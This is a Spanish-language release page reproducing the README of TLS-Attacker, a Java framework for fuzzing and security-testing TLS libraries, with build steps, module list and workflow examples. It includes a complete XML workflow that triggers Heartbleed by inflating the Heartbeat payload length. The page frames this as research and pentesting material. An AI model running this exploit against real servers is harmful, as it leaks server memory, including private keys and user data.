Volver a actualizaciones
Nuevo releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Framework basado en Java para fuzzing sistemático y análisis de bibliotecas TLS. Permite la creación, modificación y prueba arbitraria de mensajes de protocolo, así como el testing de clientes/servidores TLS para el descubrimiento de vulnerabilidades.

Compartir

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker es un framework basado en Java para analizar bibliotecas TLS. Es capaz de enviar mensajes de protocolo arbitrarios en un orden arbitrario al par TLS, y definir sus modificaciones utilizando una interfaz proporcionada. Esto le brinda al desarrollador la oportunidad de definir fácilmente un flujo de protocolo TLS personalizado y probarlo contra su biblioteca TLS.

Tenga en cuenta: TLS-Attacker es una herramienta de investigación destinada a desarrolladores TLS y pentesters. No tiene interfaz gráfica ni luces verdes/rojas.

Compilación y Ejecución

Para compilar y usar TLS-Attacker, necesita tener Java y Maven instalados. En Ubuntu puede instalar Maven ejecutando:

$ sudo apt-get install maven

TLS-Attacker actualmente necesita Java JDK 21 para funcionar.

Si tiene la versión correcta de Java, puede ejecutar el comando de Maven desde el directorio de TLS-Attacker:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

Alternativamente, si tiene prisa, puede omitir las pruebas usando:

$ mvn clean install -DskipTests=true

Los archivos jar resultantes se colocan en la carpeta "apps".

Si desea usar este proyecto como dependencia, no tiene que compilarlo usted mismo y puede incluirlo en su pom.xml de la siguiente manera.

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker incluye aplicaciones demo que le proporcionan un acceso fácil a la funcionalidad de TLS-Attacker.

Puede ejecutar TLS-Attacker como cliente con el siguiente comando:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

o como servidor con:

$ java -jar TLS-Server.jar -port [port]

Aunque estas aplicaciones de ejemplo son muy potentes por sí mismas, TLS-Attacker despliega todo su potencial cuando se usa como biblioteca de programación.

Estructura del Código

TLS-Attacker consta de varios proyectos (maven):

  • TLS-Client: La aplicación de ejemplo de cliente
  • TLS-Core: La pila de protocolos y el corazón de TLS-Attacker
  • TLS-Mitm: Un prototipo para flujos de trabajo MitM
  • TLS-Server: La aplicación de ejemplo de servidor
  • TLS-Proxy: Usar TLS-Attacker para SSLSockets
  • TraceTool: Inspección y modificación de trazas de flujo de trabajo de TLS-Attacker
  • Transport: Utilidades de transporte para capas inferiores
  • Utils: Una colección de clases de utilidad

Diseño de TLS-Attacker

Puede encontrar más información sobre estos módulos en la Wiki.

Características

Actualmente, se admiten las siguientes características:

  • SSL 3, versiones TLS 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246) y 1.3 (RFC-8446)
  • SSL 2 (soportado parcialmente)
  • Algoritmos de intercambio de claves (EC)DH(E), RSA, PSK, SRP, GOST y ANON
  • Cifrados CBC, AEAD y de flujo (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 suites de cifrado, ~30 extensiones
  • Cliente y Servidor
  • HTTPS
  • Flujos de trabajo con más de dos partes
  • Muchas extensiones
  • Tokenbinding (EC) y Tokenbinding sobre HTTP
  • Sockets
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

Uso

Aquí presentamos algunos ejemplos muy simples de uso de TLS-Attacker.

Primero, debe iniciar un servidor TLS (por favor no use servidores públicos). Ejecute el script keygen.sh si no lo ha hecho antes. Por ejemplo, puede usar un servidor de prueba OpenSSL:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

Este comando inicia un servidor TLS en el puerto 4433.

Si desea conectarse a un servidor, puede usar este comando:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

Nota: Si este Handshake falla, probablemente se deba a que no especificó una suite de cifrado concreta. TLS-Attacker no respetará completamente las suites de cifrado seleccionadas por el servidor.

Puede usar una suite de cifrado diferente, versión TLS o conectarse a un puerto diferente con los siguientes parámetros:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

Si es un desarrollador más experimentado, puede crear su propio flujo de mensajes TLS escribiendo código Java. Por ejemplo:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker utiliza el concepto de WorkflowTraces para definir un "flujo de mensajes TLS". Un WorkflowTrace consiste en una lista de acciones que se ejecutan una tras otra. Aunque para un "flujo de mensajes TLS" típico solo se necesitan SendAction y ReceiveAction, el framework no se detiene aquí e implementa muchas otras acciones que se pueden usar para ejecutar flujos de mensajes aún más arbitrarios. En la Wiki se puede encontrar una lista de las acciones implementadas actualmente con explicaciones.

Sabemos que muchos odian Java. Por lo tanto, también puede usar una estructura XML y ejecutar su protocolo TLS personalizado desde XML:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Enviar ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Recibir respuesta del servidor -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Enviar intercambio de claves del cliente y finalizar -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Recibir finalización del servidor -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Dado que esta estructura XML está ubicada en TLS-Attacker/apps/workflow.xml, solo necesitaría ejecutar:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Sistema de Capas/Protocol-Attacker

Originalmente diseñado para atacar el protocolo TLS, TLS-Attacker es capaz de admitir protocolos arbitrarios. Para ello, TLS-Attacker asigna una pila de capas a cada conexión. Esta pila de capas consta de las diferentes capas de protocolo que el usuario desea utilizar. Con la pila de capas, el usuario puede agregar capas como DTLS o HTTP (más están en desarrollo) en un orden arbitrario.

Para enviar y recibir mensajes arbitrarios usando una pila de capas, el usuario puede definir configuraciones para cada capa. Estas configuraciones especifican qué mensajes enviar o recibir. Esto también permite al usuario especificar los contenedores de mensajes/datos específicos de la capa para cada capa. Por ejemplo, se podrían especificar los mensajes y registros TLS que TLS-Attacker debe enviar. TLS-Attacker encapsularía los mensajes TLS dados en los registros automáticamente.

Variables Modificables

TLS-Attacker utiliza el concepto de Variables Modificables para permitir modificaciones en tiempo de ejecución a flujos de trabajo predefinidos. Las variables modificables permiten establecer modificaciones a tipos básicos antes o después de que sus valores se establezcan realmente. Cuando se determinan sus valores reales y se intenta acceder al valor mediante getters, el valor original se devolverá en una forma modificada en consecuencia. Se pueden encontrar más detalles sobre este concepto en https://github.com/tls-attacker/ModifiableVariable.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

En este ejemplo, definimos un nuevo ModifiableInteger y establecimos su valor en 30. A continuación, definimos una nueva modificación AddModification que simplemente devuelve la suma de dos enteros. Establecimos su valor en 20. Si ejecutamos el programa anterior, se imprime el resultado 50.

Por supuesto, podemos usar este concepto construyendo nuestros flujos de trabajo TLS. Imagine que desea probar un servidor para una vulnerabilidad Heartbleed. Para este propósito, necesita aumentar la longitud del payload en la solicitud de heartbeat. Con TLS-Attacker, puede hacerlo de la siguiente manera:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Como puede ver, aumentamos explícitamente la longitud del payload del mensaje heartbeat en 20000. Si ejecuta el ataque contra un servidor vulnerable (por ejemplo, OpenSSL 1.0.1f), debería ver una respuesta heartbeat válida.

En la wiki se pueden encontrar más ejemplos de ataques y explicaciones adicionales sobre TLS-Attacker.

Características Avanzadas

Algunas acciones requieren contexto o configuración para ejecutarse correctamente. Por ejemplo, si TLS-Attacker intenta enviar un mensaje ClientHello, necesita saber qué valores colocar en el mensaje, por ejemplo, qué suites de cifrado o qué versión de protocolo usar. TLS-Attacker obtiene esta información de un archivo de configuración (por defecto ubicado en TLS-Core/src/main/resources/default_config.xml). Los valores que se determinan en tiempo de ejecución se almacenan en TlsContext. Cuando falta un valor que normalmente se selecciona del contexto (porque aún no se ha recibido un mensaje), se selecciona el valor predeterminado de Config. Puede especificar su propio archivo de configuración desde la línea de comandos con el parámetro "-config". Tenga en cuenta que si no define explícitamente un valor predeterminado en el archivo de configuración, TLS-Attacker llena este vacío con valores codificados (que son iguales a la configuración predeterminada proporcionada). Se pueden encontrar más detalles sobre cómo personalizar TLS-Attacker en la wiki.

Agradecimientos

Nos gustaría agradecer a todos los que han contribuido al proyecto TLS-Attacker.

Un agradecimiento especial va para las siguientes personas por sus notables contribuciones:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

Se agradecen más contribuciones y pull requests.

Artículos Científicos

Los conceptos básicos detrás de TLS-Attacker y varios ataques se describen en el siguiente artículo:

A continuación, enumeramos estudios científicos recientes que utilizaron TLS-Attacker. Puede encontrar la lista completa en la Wiki

Si tiene ideas de investigación o necesita apoyo, no dude en contactarnos en Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) o en https://www.hackmanit.de/.

Si TLS-Attacker le ayuda a encontrar un error en una implementación TLS, por favor reconozca esta herramienta. ¡Gracias!

Leer más

Categorías

Análisis de VulnerabilidadesFuzzingSeguridad de RedesCriptografíaPruebas de Penetración